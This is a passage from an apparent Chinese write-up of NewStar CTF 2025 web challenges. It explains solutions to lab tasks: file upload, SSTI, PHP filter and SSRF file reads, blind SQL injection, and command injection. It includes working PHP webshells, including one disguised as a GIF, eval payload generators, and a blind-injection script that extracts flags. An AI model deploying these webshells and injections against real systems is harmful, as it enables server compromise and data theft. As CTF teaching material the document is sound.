Host: 192.168.42.1:26851
4

5
Upgrade-Insecure-Requests: 1
6

7
Cache-Control: max-age=0
8

9
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary02q70XBquIVtAIt8
10

11
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36
12

13
Accept-Language: zh-CN,zh;q=0.9
14

15
Origin: http://192.168.42.1:26851
16

17
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
18

19
Referer: http://192.168.42.1:26851/
20

21
Accept-Encoding: gzip, deflate
22

23
Content-Length: 328
24

25

26

27
------WebKitFormBoundary02q70XBquIVtAIt8
28

29
Content-Disposition: form-data; name="files[]"; filename="1.webp"
30

31
Content-Type: image/gif
32

33

34

35
GIF89a
36

37
<?@("ev"."al")($_POST['cmd']);?>
38

39
------WebKitFormBoundary02q70XBquIVtAIt8
40

41
Content-Disposition: form-data; name="MAX_FILE_SIZE"
42

43

44

45
5242880
46

47
------WebKitFormBoundary02q70XBquIVtAIt8--

展开收起

得到上传成功的响应，这里使用中国蚁剑直接连接，拿到 flag：

flag{0fc68107-f403-0147-94de-4c34b9a09dfc}

（也可以使用 hackbar 连接，用密码+指令）

who’ssti#

这里我们先下载得到一个附件 who’ssti

其中的有效内容 app.py 内容如下：

1
from flask import Flask, jsonify, request, render_template_string, render_template
2

3
import sys, random
4

5

6

7
func_List = ["get_close_matches", "dedent", "fmean",
8

9
             "listdir", "search", "randint", "load", "sum",
10

11
             "findall", "mean", "choice"]
12

13
need_List = random.sample(func_List, 5)
14

15
need_List = dict.fromkeys(need_List, 0)
16

17
BoleanFlag = False
18

19
RealFlag = __import__("os").environ.get("ICQ_FLAG", "flag{test_flag}")
20

21
# 清除 ICQ_FLAG
22

23
__import__("os").environ["ICQ_FLAG"] = ""
24

25

26

27
def trace_calls(frame, event, arg):
28

29
  if event == 'call':
30

31
    func_name = frame.f_code.co_name
32

33
    # print(func_name)
34

35
    if func_name in need_List:
36

37
      need_List[func_name] = 1
38

39
    if all(need_List.values()):
40

41
      global BoleanFlag
42

43
      BoleanFlag = True
44

45
  return trace_calls
46

47

48

49

50
app = Flask(__name__)
51

52
@app.route('/', methods=["GET", "POST"])
53

54
def index():
55

56
  submit = request.form.get('submit')
57

58
  if submit:
59

60
    sys.settrace(trace_calls)
61

62
    print(render_template_string(submit))
63

64
    sys.settrace(None)
65

66
    if BoleanFlag:
67

68
      return jsonify({"flag": RealFlag})
69

70
    return jsonify({"status": "OK"})
71

72
  return render_template_string('''<!DOCTYPE html>
73

74
<html lang="zh-cn">
75

76
<head>
77

78
    <meta charset="UTF-8">
79

80
    <title>首页</title>
81

82
</head>
83

84
<body>
85

86
    <h1>提交你的代码，让后端看看你的厉害！</h1>
87

88
    <form action="/" method="post">
89

90
        <label for="submit">提交一下：</label>
91

92
        <input type="text" id="submit" name="submit" required>
93

94
        <button type="submit">提交</button>
95

96
    </form>
97

98
    <div style="margin-top: 20px;">
99

100
        <p> 尝试调用到这些函数！ </p>
101

102
    {% for func in funcList %}
103

104
        <p>{{ func }}</p>
105

106
    {% endfor %}
107

108
    <div style="margin-top: 20px; color: red;">
109

110
        <p> 你目前已经调用了 {{ called_funcs|length }} 个函数：</p>
111

112
        <ul>
113

114
        {% for func in called_funcs %}
115

116
            <li>{{ func }}</li>
117

118
        {% endfor %}
119

120
        </ul>
121

122
    </div>
123

124
</body>
125

126
<script>
127

128
</script>
129

130
</html>
131

132

133

134
                                '''
135

136
                                ,
137

138
                                funcList = need_List, called_funcs = [func for func, called in need_List.items() if called])
139

140

141

142
if __name__ == '__main__':
143

144
  app.run(host='0.0.0.0', port=5000, debug=False)

展开收起

构造以下 payload：

1
{% set x = self.__init__.__globals__['__builtins__']['__import__'] %}{% set _ = x('difflib').get_close_matches('a', ['a']) %}{% set _ = x('textwrap').dedent('a') %}{% set _ = x('statistics').fmean([1]) %}{% set _ = x('os').listdir('.') %}{% set _ = x('re').search('a', 'a') %}{% set _ = x('random').randint(1,1) %}{% set _ = x('json').load(x('io').StringIO('{}')) %}{% set _ = [1,2]|sum %}{% set _ = x('re').findall('a', 'a') %}{% set _ = x('statistics').mean([1]) %}{% set _ = x('random').choice([1]) %}

得到 flag：

flag{66ffaa22-e8ad-0113-0ab1-6e5b2510cf33}

ez-chain#

打开容器直接贴出了源码：

1
<?php
2
header('Content-Type: text/html; charset=utf-8');
3
function filter($file) {    $waf = array('/',':','php','base64','data','zip','rar','filter','flag');
4
    foreach ($waf as $waf_word) {
5
        if (stripos($file, $waf_word) !== false) {
6
            echo "waf:".$waf_word;
7
            return false;
8
        }
9
    }
10
    return true;
11
}
12

13
function filter_output($data) {    $waf = array('f');
14
    foreach ($waf as $waf_word) {
15
        if (stripos($data, $waf_word) !== false) {
16
            echo "waf:".$waf_word;
17
            return false;
18
        }
19
    }
20
    while (true) {        $decoded = base64_decode($data, true);
21
        if ($decoded === false || $decoded === $data) {
22
            break;
23
        }        $data = $decoded;
24
    }
25
    foreach ($waf as $waf_word) {
26
        if (stripos($data, $waf_word) !== false) {
27
            echo "waf:".$waf_word;
28
            return false;
29
        }
30
    }
31
    return true;
32
}
33

34
if (isset($_GET['file'])) {    $file = $_GET['file'];
35
    if (filter($file) !== true) {
36
        die();
37
    }    $file = urldecode($file);    $data = file_get_contents($file);
38
    if (filter_output($data) !== true) {
39
        die();
40
    }
41
    echo $data;
42
}
43
highlight_file(__FILE__);
44

45
?>

展开收起

这里解释下逻辑：

首先就是一个防火墙机制，会查找你传入的参数是否与其先预载入的字符串一致

stripos — 查找字符串首次出现的位置（不区分大小写）

base64_decode — 对使用 MIME base64 编码的数据进行解码

base64_decode ( string $data [, bool $strict = false ] ) : string
当设置 strict 为 TRUE 时，一旦输入的数据超出了 base64 字母表，将返回 FALSE。否则会静默丢弃无效的字符

file_get_contents — 将整个文件读入一个字符串

最终 payload：

1
/?file=%2570%2568%2570%253a%252f%252f%2566%2569%256c%2574%2565%2572%252f%2572%2565%2561%2564%253d%2573%2574%2572%2569%256e%2567%252e%2572%256f%2574%2531%2533%252f%2572%2565%2573%256f%2575%2572%2563%2565%253d%252f%2566%256c%2561%2567

得到 flag：synt{599o7o18-nq72-0p19-o174-n79qq81s11o9}

在对其进行一次 rot13 得到 flag：

flag{599b7b18-ad72-0c19-b174-a79dd81f11b9}

MyGO!!!#

z学长又出题了

打开容器，扫视一遍源码没发现线索

使用 dirsearch 扫一遍，得到：

1
[14:45:22] 200 -  647B  - /flag.php

访问 /flag.php，得到：

1
<?php
2
$client_ip = $_SERVER['REMOTE_ADDR'];
3

4
// 只允许本地访问
5
if ($client_ip !== '127.0.0.1' && $client_ip !== '::1') {
6
    header('HTTP/1.1 403 Forbidden');
7
    echo "你是外地人，我只要\"本地\"人";
8
    exit;
9
}
10

11
highlight_file(__FILE__);
12

13
if (isset($_GET['soyorin'])) {
14
    $url = $_GET['soyorin'];
15

16
    echo "flag在根目录";
17

18
    // 普通请求
19
    $ch = curl_init($url);
20
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, false); // 直接输出给浏览器
21
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
22
    curl_setopt($ch, CURLOPT_BUFFERSIZE, 8192);
23
    curl_exec($ch);
24
    curl_close($ch);
25
    exit;
26
}
27
?>

展开收起

$_SERVER — 是一个包含了诸如头信息(header)、路径(path)、以及脚本位置(script locations)等等信息的数组

REMOTE_ADDR — $_SERVER 内的一个特定索引，代表正在浏览当前页面的用户 IP 地址

127.0.0.1：是 IPv4 协议下的本地地址

::1：是 IPv6 协议下的本地地址

这里是因为赛后复现在本地启动，直接跳过伪造 127.0.0.1 就得到源码了（

最终 payload：

1
http://127.0.0.1:2685/flag.php?soyorin=file:///flag

得到 flag：

flag{31db76ff-48d5-4d2c-1ce2-ad9384542326}

小 E 的秘密计划#

打开容器，题目给的提示很明显 先找到网站备份文件，这里扫到：

1
[15:04:08] 200 -   39KB - /www.zip

访问后拿下备份文件，使用文件名（public-555edc76-9621-4997-86b9-01483a50293e）到达下一关入口：

需要登录，这里我们根据题目提示去看 git 历史记录：

1
PS D:\CTF_Exercises\public-555edc76-9621-4997-86b9-01483a50293e> git log
2
commit 5fef682d7eceba025c894af4a5f8bf4680666368 (HEAD -> master)
3
Author: admin <admin@admin.com>
4
Date:   Wed Oct 1 12:14:25 2025 +0800
5

6
    删除提示
7

8
commit 5f8ecc03aee0de892013bba7ce0522876c419b58
9
Author: admin <admin@admin.com>
10
Date:   Wed Oct 1 12:14:08 2025 +0800
11

12
    新增提示
13

14
commit 1389b4798a8013a1c90fb2d867243d0da18c5175
15
Author: admin <admin@admin.com>
16
Date:   Wed Oct 1 12:10:02 2025 +0800
17

18
    初始化

展开收起

这里访问新增提示：

1
PS D:\CTF_Exercises\public-555edc76-9621-4997-86b9-01483a50293e> git show 5f8ecc03aee0de892013bba7ce0522876c419b58
2
commit 5f8ecc03aee0de892013bba7ce0522876c419b58
3
Author: admin <admin@admin.com>
4
Date:   Wed Oct 1 12:14:08 2025 +0800
5

6
    新增提示
7

8
diff --git a/tips.txt b/tips.txt
9
new file mode 100644
10
index 0000000..a7fa1d9
11
--- /dev/null
12
+++ b/tips.txt
13
@@ -0,0 +1 @@
14
+tips：什么是branch
15
\ No newline at end of file

展开收起

提示 branch：

1
PS D:\CTF_Exercises\public-555edc76-9621-4997-86b9-01483a50293e> git branch
2
* master

可以看到没有分支，这里我们看看历史 git 操作：

1
PS D:\CTF_Exercises\public-555edc76-9621-4997-86b9-01483a50293e> git reflog
2
5fef682 (HEAD -> master) HEAD@{0}: commit: 删除提示
3
5f8ecc0 HEAD@{1}: commit: 新增提示
4
1389b47 HEAD@{2}: checkout: moving from test to master
5
353b98f HEAD@{3}: commit: 测试，这个branch会删
6
1389b47 HEAD@{4}: checkout: moving from master to test
7
1389b47 HEAD@{5}: commit (initial): 初始化

查看测试 branch，得到账号密码：

1
PS D:\CTF_Exercises\public-555edc76-9621-4997-86b9-01483a50293e> git show 353b98f
2
commit 353b98f7c2fe77a5a426bf73576f5113820c4669
3
Author: admin <admin@admin.com>
4
Date:   Wed Oct 1 12:11:48 2025 +0800
5

6
    测试，这个branch会删
7

8
diff --git a/user.php b/user.php
9
new file mode 100644
10
index 0000000..f3d34d7
11
--- /dev/null
12
+++ b/user.php
13
@@ -0,0 +1,8 @@
14
+<?php
15
+
16
+function getUserData() {
17
+    return [
18
+        'username' => 'admin',
19
+        'password' => 'f75cc3eb-21e0-4713-9c30-998a8edb13de'
20
+    ];
21
+}
22
\ No newline at end of file

展开收起

到达最后一关，提示说网站是拿 Mac 写的代码

这里我们知道 Mac 的文件管理器会在你创建、编辑文件夹的时候自动生成一个 .DS_Store 文件，该文件记录了目录结构、文件列表、图标位置、排序方式、自定义视图等元数据

这里直接访问拿到 .DS_Store 文件，尝试使用 Vscode 打开，发现是个二进制文件

这里使用专门的工具 ds_store_exp 去打开，得到：

1
PS D:\CTF_Tools\ds_store_exp-master\ds_store_exp-master> python ds_store_exp.py http://127.0.0.1:34477/secret-1c84a90c-d114-4acd-b799-1bc5a2b7be50/.DS_Store
2
[200] http://127.0.0.1:34477/secret-1c84a90c-d114-4acd-b799-1bc5a2b7be50/.DS_Store
3
[200] http://127.0.0.1:34477/secret-1c84a90c-d114-4acd-b799-1bc5a2b7be50/ffffllllaaaagggg114514

得到文件的路径，访问后得到 flag：

flag{e9ddf4d1-2ac7-f3a0-7919-1c76ce1c8573}、

（dirsearch 默认字典（dicc.txt）里通常不包含 .DS_Store）

白帽小 K 的故事（2）#

很明显的一道 SQL 注入题目

题目给的提示说 SELECT 1 from Terra.animal WHERE name = ‘$name’

这里是 MySQL 的一种写法： database.table 完全限定名

database — 数据库名

table — 数据库中的表名

这里我们知道了数据库名为 Terra，表名为 animal

题目还提示使用盲注：

1
from http.client import responses
2
import requests
3
import time
4

5
# ================ 配置区域 ==================
6
URL = "http://192.168.42.1:46858/search"  # 目标URL
7
PARAM = "name"                    # 注入的参数名（POST 表单字段）
8
TRUE_KEYWORD = "ok"               # 条件为真时页面返回的内容特征
9
DATABASE = "Terra"                # 目标数据库名
10
# ===========================================
11

12
# 请求头（模拟浏览器，避免被识别为机器人）
13
headers = {
14
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36",
15
    "Content-Type": "application/x-www-form-urlencoded",
16
}
17

18
# 创建会话
19
session = requests.Session()
20

21

22
def is_true(payload):
23
    """发送 POST 请求，判断注入条件是否为真"""
24
    data = {PARAM: payload}
25
    try:
26
        response = session.post(URL, data=data, headers=headers, timeout=10)
27
        return TRUE_KEYWORD in response.text
28
    except Exception as e:
29
        print(f"[!] 请求错误: {e}")
30
        return False
31

32

33
def extract_char(position, target_str):
34
    """使用二分法猜解指定位置的字符 ASCII 值"""
35
    low = 32   # 可打印字符起始
36
    high = 126 # 可打印字符结束
37
    while low <= high:
38
        mid = (low + high) // 2
39

40
        # 构造 SQL 注入 payload
41
        injection = (
42
            f"amiy'+IF((((ord(mid((Select(group_concat(flag))from(Flag.flag)),{position},1))))>({mid})),'a','1')#"
43
        )
44
        # amiy'+IF((((ord(mid((Select(group_concat(schema_name))from(infOrmation_schema.schemata)),{position},1))))>({mid})),'a','1')#
45

46
        if is_true(injection):
47
            low = mid + 1
48
        else:
49
            high = mid - 1
50

51
    return chr(low) if low <= 126 else '?'
52

53

54
def extract_table_names():
55
    """主函数：提取指定数据库中的所有表名"""
56
    # injection那一行可以修改查询哪个数据库
57
    # 其实SQL注入入门特别简单，但是你会遇到各种各样的waf，这个时候就考验你对各种数据库语法的知识和理解了
58

59
    print(f"[*] 开始盲注，目标数据库: {DATABASE}")
60
    result = ""
61
    position = 1
62

63
    while True:
64
        char = extract_char(position, DATABASE)
65

66
        # 判断是否为有效字符
67
        if ord(char) < 32 or ord(char) > 126:
68
            print(f"\n[+] 猜解结束。")
69
            break
70

71
        result += char
72
        print(f"\r[+] 当前结果: {result}", end="", flush=True)
73

74
        # 防止请求过快
75
        time.sleep(0.1)
76
        position += 1
77

78
        # 安全限制
79
        if position > 100:
80
            print("\n[!] 长度超限，停止。")
81
            break
82

83
    print(f"\n[+] 成功提取表名: {result}")
84
    return result
85

86

87
# ================ 执行 ==================
88
if __name__ == "__main__":
89
    try:
90
        extract_table_names()
91
    except KeyboardInterrupt:
92
        print("\n\n[!] 用户中断。")
93
    except Exception as e:
94
        print(f"\n[!] 发生异常: {e}")

展开收起

拿到 flag：

flag{99028fce-4051-c472-9821-83260832ed9c}

NewStar CTF 2025 WP12 Web

Mon, 13 Apr 2026 00:00:00 GMT

Week1 Web#

宇宙的中心是 PHP#

打开容器，可以发现 F12 被禁了

我们可以直接在 URL 前加上 view-source: 去查看源码：

得到源码的有效信息为：

1
|<!-- 你还是找到了......这片黑暗的秘密 -->|
2
|<!-- s3kret.php -->|

访问 /s3kret.php，得到：

1
<?php
2
highlight_file(__FILE__);
3
include "flag.php";
4
if(isset($_POST['newstar2025'])){    $answer = $_POST['newstar2025'];
5
    if(intval($answer)!=47&&intval($answer,0)==47){
6
        echo $flag;
7
    }else{
8
        echo "你还未参透奥秘";
9
    }
10
}

解释下核心逻辑：

使用 POST 方式传入一个名为 newstar2025 的参数，并把它的值赋值给 $answer 这个变量。若 $answer 的值在 10进制 的时候不等于 47，且使用 $answer 变量进制的时候等于 47，则得到 flag

这里重点是要知道 intvar() 这个函数的用法：

intvar($value, $base = 10)：获取变量的整数值

默认情况下 base = 10，即按照 10进制获取变量的值

而当 base = 0 时，则通过检测 value 的格式来决定使用的进制：

如果字符串包括了 “0x” (或 “0X”) 的前缀，使用 16 进制 (hex)；否则，
如果字符串以 “0b” (或 “0B”) 开头，使用 2 进制 (binary)；否则，
如果字符串以 “0” 开始，使用 8 进制(octal)；否则，
将使用 10 进制 (decimal)。

这样目标就很明确了，不以 10进制数传参使得 $answer = 47 即可

最终 payload：

1
newstar2025=0x2F

得到 flag：flag{a2928e78-7db3-8780-a368-9d6cbae9ecfb}

multi-headach3#

打开容器，得到：

1
# Hello!
2

3
Today is 2026/04/07
4

5
welcome to my first website!
6

7
**ROBOTS** is protecting this website!
8
But... Why my head is so **painful**???!!!
9
And why you are here again and again?
10
Trust me, hidden page is not as simple as you think.

这里提到 robots，可以想到 robots.txt 协议

若不了解 robots.txt 协议可以点击这里

直接访问 /robots.txt，得到如下结果：

1
User-agent: *
2
Disallow: /hidden.php

都 Disallow 那肯定是要看看的 2333

访问 /hidden.php，得到：

1
# Hello!
2

3
Today is 2026/04/07
4

5
welcome to my first website!
6

7
**ROBOTS** is protecting this website!
8
But... Why my head is so **painful**???!!!
9
And why you are here again and again?
10
Trust me, hidden page is not as simple as you think.

和原网页一模一样，可见没什么用处（恼

这里还有个信息 head，联想到 HTTP请求头

抓包（访问 /hidden.php 的时候），得到：

flag{3057d5d3-fb7d-e4ef-01a6-27dd3f0527f9}

strange_login#

打开容器，看到一个登录界面：

考察的是简单的 SQL注入

构造：admin' and 1=1-- 直接得到 flag：

（具体解释因为比较基础可以自己去网上找找基础的SQL注入学习）

flag{56119305-d5c4-1e35-c902-bc160b877645}

别笑，你也过不了第二关#

z学姐出的题目说是（

打开容器，是一个接掉落物的游戏：

第一关拿到30分即可通过到第二关

第二关要1000000分才能过

看了下源码和实操了下，正常情况下绝对拿不到1000000分

直接在控制台执行：

1
score = 1000000;

得到 flag：flag{e9b75cd5-dcd8-cfca-b134-a0f730b3a0a3}

我真得控制你了#

打开容器，发现有个启动键（但被 ban 了

点击 F12 发现也被 ban 了

（这里以 Chrome 浏览器为例）

这里我们可以点击右上角的三个点->更多工具->开发者工具，就可以看到源码了

但是此时的警告界面还是不断跳出来

查看源码，发现警告界面的元素为 devToolsWarning

直接把此元素删了即可，警告界面消失

但是启动键被 ban 的问题还没解决

这里有两种办法：

法1是直接将屏障启动键元素 shieldOverlay 删了即可

法2是使用控制台：

document.getElementById('shieldOverlay').remove();

其实质也是将 shieldOverlay 这个元素删除

删除后点击启动进入下一关

下一关有明显的提示为弱口令/弱密码爆破

这里直接使用 BurpSuite 进行爆破：

爆破发现密码为 11111

注：这里我们按理来将有两个元素需要爆破：用户名和密码，但实际的 CTF 题目一般都是在密码上下文章，因此这里是使用常见的用户名 admin 过关的

输入密码后进入下一关

此关直接给出了源码：

1
<?php
2
error_reporting(0);
3

4
function generate_dynamic_flag($secret) {
5
    return getenv("ICQ_FLAG") ?: 'default_flag';
6
}
7

8

9
if (isset($_GET['newstar'])) {
10
    $input = $_GET['newstar'];
11

12
    if (is_array($input)) {
13
        die("恭喜掌握新姿势");
14
    }
15

16

17
    if (preg_match('/[^\d*\/~()\s]/', $input)) {
18
        die("老套路了，行不行啊");
19
    }
20

21

22
    if (preg_match('/^[\d\s]+$/', $input)) {
23
        die("请输入有效的表达式");
24
    }
25

26
    $test = 0;
27
    try {
28
        @eval("\$test = $input;");
29
    } catch (Error $e) {
30
        die("表达式错误");
31
    }
32

33
    if ($test == 2025) {
34
        $flag = generate_dynamic_flag($flag_secret);
35
        echo "<div class='success'>拿下flag！</div>";
36
        echo "<div class='flag-container'><div class='flag'>FLAG: {$flag}</div></div>";
37
    } else {
38
        echo "<div class='error'>大哥哥泥把数字算错了: $test ≠ 2025</div>";
39
    }
40
} else {
41
    ?>
42
<?php } ?>

展开收起

解释下逻辑：

此题先需要我们使用 GET 方法传入一个名为 newstar 的元素并将其赋值给 input 元素；input 不能是数组，其值必须在数字、*和/和~和()和空白字符，且不能是纯数字或者纯空白；将 input 的值传给 test，若 test 传入的表达式有误，则会触发 try...catch 输出 “表达式错误”；在此后若 test 等于 2025，则给出 flag

解释下理解必要的用法：

getenv — 获取一个环境变量的值

is_array — 检测变量是否是数组

die：等于 exit()

exit — 输出一个消息并且退出当前脚本

preg_match — 执行匹配正则表达式

若对正则表达式不了解可以看看这篇文章：菜鸟教程

?:：三元运算符的缩写，用法如下：

1
$result = $a ?: $b;
2
等同于
3
$result = $a ? $a : $b;

看到 不能全是数字 这一条件，可以想到使用乘除法等将2025算出来

刚好 2025 是一个完全平方数，所有最终 payload：

1
/?newstar=45*45

得到 flag：flag{c80c003f-1d66-8de7-e3fb-1575c0921d53}

黑客小 W 的故事（1）#

进入容器，发现要我们点击中间的一个 chongzi，每次点击都会得到一定的分数，到

了 800 分就能通关（并非

这里如果一直尝试的话会发现在点击途中一定会被阻拦然后分数清零

题目提示抓包，我们试图抓包改数据：

1
POST /hunt HTTP/1.1
2

3
Host: 192.168.42.1:60152
4

5
Accept: */*
6

7
Origin: http://192.168.42.1:60152
8

9
Accept-Encoding: gzip, deflate
10

11
Cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJOYW1lIjoiYjBmNzFmOGYtMGFlNy00NDRhLTg0MjAtMDVlMDllODYwNzIzIiwibGV2ZWwiOjF9.GGjj_uyDLSatsFEt4bA1aF4zLj3nbzdWLdmCYOtAMrE
12

13
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36
14

15
Accept-Language: zh-CN,zh;q=0.9
16

17
Content-Type: application/json
18

19
Referer: http://192.168.42.1:60152/hunt
20

21
Content-Length: 11
22

23

24

25
{"count":1}

展开收起

这里可以看到，{"count":1} 就是我们的分数

直接将其改为 1000，到达第二关：

1
HTTP/1.1 200 OK
2

3
Server: Werkzeug/3.1.3 Python/3.12.11
4

5
Date: Sat, 11 Apr 2026 12:28:43 GMT
6

7
Content-Type: application/json
8

9
Set-Cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJOYW1lIjoiVHJ1ZSIsImxldmVsIjoyfQ.Xz7r0_c7lyf1E8iXWszsQBC1c43djRjjWLf5tzWnIok; Path=/
10

11
Connection: close
12

13
Content-Length: 29
14

15

16

17
{"NextLevel":"/Level2_mato"}

展开收起

第二关首先提示要使用 GET 方式传入值为 mogubaozi 名为 shipin 的参数

1
?shipin=mogubaozi

随后提示要使用 POST 方式告诉它事情（即 guding

这里使用 hackbar 传参：

1
code=guding

进入下一步，说是要使用 DELETE 方式去掉所有的 chongzi

直接在 Yakit 内发送数据包：

1
DELETE /talkToMushroom?shipin=mogubaozi HTTP/1.1
2

3
Host: 192.168.42.1:60152
4

5
Cache-Control: max-age=0
6

7
Origin: http://192.168.42.1:60152
8

9
Upgrade-Insecure-Requests: 1
10

11
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
12

13
Accept-Language: zh-CN,zh;q=0.9
14

15
Accept-Encoding: gzip, deflate
16

17
Cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJOYW1lIjoiVHJ1ZSIsImxldmVsIjoyfQ.Xz7r0_c7lyf1E8iXWszsQBC1c43djRjjWLf5tzWnIok
18

19
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36
20

21
Content-Type: application/x-www-form-urlencoded
22

23
Referer: http://192.168.42.1:60152/talkToMushroom?shipin=mogubaozi
24

25
Content-Length: 11
26

27

28

29
chongzi

展开收起

进入下一关，这里可以刷新下网页得到下一步指引：

1
你已经帮我把虫子弄掉了，我把骨钉给你吧，你可以回去找那个大家伙了（/Level2_END）

这里提示我们改 User-Agent

可以点击此处去了解下 User-Agent

原 UA：

1
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36

修改为：

1
CycloneSlash/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36

再改为：

1
CycloneSlash/5.0 (Windows NT 10.0; Win64; x64) DashSlash/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36

得到下一关方法 /Level4_Sly

进入下一关发现终于结束，得到 flag：

flag{4508d441-7a16-a379-c391-0905c60c0a1e}

Week2 Web#

DD 加速器#

这道题目的关键是从提示 “本结果由系统命令 ping 产生” 中猜测到 RCE

知道提示就很简单了（甚至不需要了解 ping，和本题目一点关系没有

系统命令 ping 的基本结构：

1
ping x.x.x.x

可以看到服务器操作系统为 Debian，直接拼接 Linux 系统命令即可：

1
127.0.0.1;ls /

得到：

1
PING 127.0.0.1 (127.0.0.1) 1400(1428) bytes of data.
2
1408 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.031 ms
3

4
--- 127.0.0.1 ping statistics ---
5
1 packets transmitted, 1 received, 0% packet loss, time 0ms
6
rtt min/avg/max/mdev = 0.031/0.031/0.031/0.000 ms
7
bin
8
boot
9
dev
10
etc
11
flag
12
home
13
lib
14
lib64
15
media
16
mnt
17
opt
18
proc
19
root
20
run
21
sbin
22
srv
23
sys
24
tmp
25
usr
26
var

展开收起

但这道题的 flag 在环境变量里（这里面的是个假 flag

执行 127.0.0.1;env 拿到 flag：

flag{d58d03fd-3467-ecb8-5bec-a6af064fbc41}

真的是签到诶#

进入容器，直接给出了源码：

1
<?php
2
highlight_file(__FILE__);
3

4
$cipher = $_POST['cipher'] ?? '';
5

6
function atbash($text) {
7
  $result = '';
8
  foreach (str_split($text) as $char) {
9
    if (ctype_alpha($char)) {
10
      $is_upper = ctype_upper($char);
11
      $base = $is_upper ? ord('A') : ord('a');
12
      $offset = ord(strtolower($char)) - ord('a');
13
      $new_char = chr($base + (25 - $offset));
14
      $result .= $new_char;
15
    } else {
16
      $result .= $char;
17
    }
18
  }
19
  return $result;
20
}
21

22
if ($cipher) {
23
  $cipher = base64_decode($cipher);
24
  $encoded = atbash($cipher);
25
  $encoded = str_replace(' ', '', $encoded);
26
  $encoded = str_rot13($encoded);
27
  @eval($encoded);
28
  exit;
29
}
30

31
$question = "真的是签到吗？";
32
$answer = "真的很签到诶！";
33

34
$res =  $question . "<br>" . $answer . "<br>";
35
echo $res . $res . $res . $res . $res;
36

37
?>

展开收起

对源码进行分析：

先用 POST 方法传入一个名为 cipher 的变量，再对其进行 base64 编码，随后调用 atbash 这个自定义函数，将返回值赋值给 encoded，再对其去掉空格，再进行一次 rot13，将结果执行 eval 函数我个人觉得 $is_upper = ctype_upper($char); 这个语句比较重要，is_upper 并是一个布尔类型的变量，若右式为真，则被赋值为 true；否则被赋值为 false

这里看了操作系统为 Debian，还有 eval 函数，因此很明显存在 RCE

关键理解点：

str_split — 将字符串转换为数组

foreach (… as $char)：遍历数组并将每个数组字符赋值给 char

ctype_alpha — 做纯字符检测（指的是 a-z 和 A-Z）

ctype_upper — 做大写字母检测

ord — 转换字符串第一个字节为 0-255 之间的值

这里 ord(‘A’) 为65，ord(‘a’) 为97

strtolower — 将字符串转化为小写

str_replace — 子字符串替换

这里贴出脚本：

1
import base64
2
import codecs
3

4
def atbash(text):
5
    result = ''
6
    for char in text:
7
        if char.isalpha():
8
            is_upper = char.isupper()
9
            base = ord('A') if is_upper else ord('a')
10
            offset = ord(char.lower()) - ord('a')
11
            new_char = chr(base + (25 - offset))
12
            result += new_char
13
        else:
14
            result += char
15
    return result
16

17
def inverse_atbash(text):
18
    result = ''
19
    for char in text:
20
        if char.isalpha():
21
            is_upper = char.isupper()
22
            base = ord('A') if is_upper else ord('a')
23
            offset = ord(char.lower()) - ord('a')
24
            new_char = chr(base + (25 - offset))
25
            result += new_char
26
        else:
27
            result += char
28
    return result
29

30
# 我们最终希望 eval 执行的代码（payload）
31
payload = 'system("cat\\040/flag");'   # 用 \\040 避免空格被提前处理
32

33
print("目标 payload:", payload)
34

35
# 1. rot13(payload) 得到 rot13 之前的字符串
36
before_rot13 = codecs.encode(payload, 'rot_13')
37
print("rot13 前的字符串:", before_rot13)
38

39
# 2. atbash 后的字符串（去空格前）应该产生 above（我们构造时不插入多余空格）
40
atbash_output = before_rot13.replace(' ', '')   # 确保去空格后正确
41

42
# 3. 求 atbash 的输入（即 base64_decode 后的内容）
43
cipher_decoded = inverse_atbash(atbash_output)
44
print("base64_decode 后应得到的字符串:", cipher_decoded)
45

46
# 4. 计算最终的 cipher（base64 编码）
47
cipher = base64.b64encode(cipher_decoded.encode()).decode()
48
print("\n最终需要 POST 的 cipher 值：")
49
print(cipher)
50

51
# 正向验证
52
print("\n=== 正向验证 ===")
53
decoded = base64.b64decode(cipher).decode()
54
after_atbash = atbash(decoded)
55
after_remove_space = after_atbash.replace(' ', '')
56
after_rot13 = codecs.encode(after_remove_space, 'rot_13')
57
print("最终 eval 执行的代码:", after_rot13)
58
print("验证成功:", after_rot13 == payload)

展开收起

白帽小 K 的故事（1）#

进去后根据提示发现为文件上传漏洞

这里直接上传一句话木马：

1
<?php @eval($_POST['a']); ?>

上传后访问：

1
http://192.168.153.1:19185/v1/onload
2

3
file=123.php&a=system('cat /flag');

得到 flag：

flag{30d21bfa-aa21-b8ce-edbb-e6135464f5ee}

搞点哦润吉吃吃🍊#

qu学长出的题目（

进入容器，有个登录界面，在源码的最下方找到账号和密码，进入

下一步是要求计算 token 并且 3s 内提交，有表达式：

1
token = (int(time.time()) * multiplier) ^ xor_value

time.time() —— 返回当前时间的时间戳（1970纪元后经过的浮点秒数）

multiplier —— 乘数，一般是个定值

xor_value —— 点击这里去了解异或

提示说抓包，我们进行抓包，得到数据如下：

1
HTTP/1.1 200 OK
2

3
Server: Werkzeug/2.3.7 Python/3.12.11
4

5
